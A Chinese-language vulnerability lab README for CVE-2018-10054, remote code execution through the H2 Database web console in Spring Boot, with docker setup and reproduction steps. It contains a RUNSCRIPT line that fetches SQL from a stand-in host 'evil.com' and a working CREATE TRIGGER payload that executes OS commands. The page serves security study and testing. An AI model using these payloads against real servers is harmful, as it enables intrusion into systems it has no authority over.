# H2 Database Web Console认证远程代码执行漏洞（CVE-2018-10054）

H2 Database是一个快速、开源的基于Java的关系型数据库管理系统（RDBMS），可用于嵌入式（集成在Java应用中）或客户端-服务器模式中。

当Spring Boot集成H2 Database时，如果设置如下选项，将会启用一个Web管理页面：

```
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
```

在1.4.198之前的H2 Database版本中，任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问Web管理页面。认证通过后，攻击者可以通过以下命令之一执行任意代码：

- `RUNSCRIPT FROM 'http://evil.com/script.sql'`
- `CREATE ALIAS func AS code...; CALL func ...`
- `CREATE TRIGGER ... AS code...`

参考链接：

- <https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html>
- <https://www.exploit-db.com/exploits/45506>
- <https://github.com/h2database/h2database/issues/1225>
- <https://github.com/h2database/h2database/pull/1580>
- <https://github.com/h2database/h2database/pull/1726>

## 环境搭建

执行如下命令启动一个集成了H2 Database 1.4.197版本的Spring Boot：

```
docker compose up -d
```

容器启动后，Spring Boot服务监听在`http://your-ip:8080`，H2管理页面默认地址为`http://your-ip:8080/h2-console/`。

## 漏洞复现

首先，通过连接内存数据库登录H2 Web控制台：

```
jdbc:h2:mem:test
```

![](1.png)

然后，执行如下命令以执行`id`命令：

```sql
CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;
```

可见，`id`命令被成功执行，结果以异常的形式被抛出：

![](2.png)
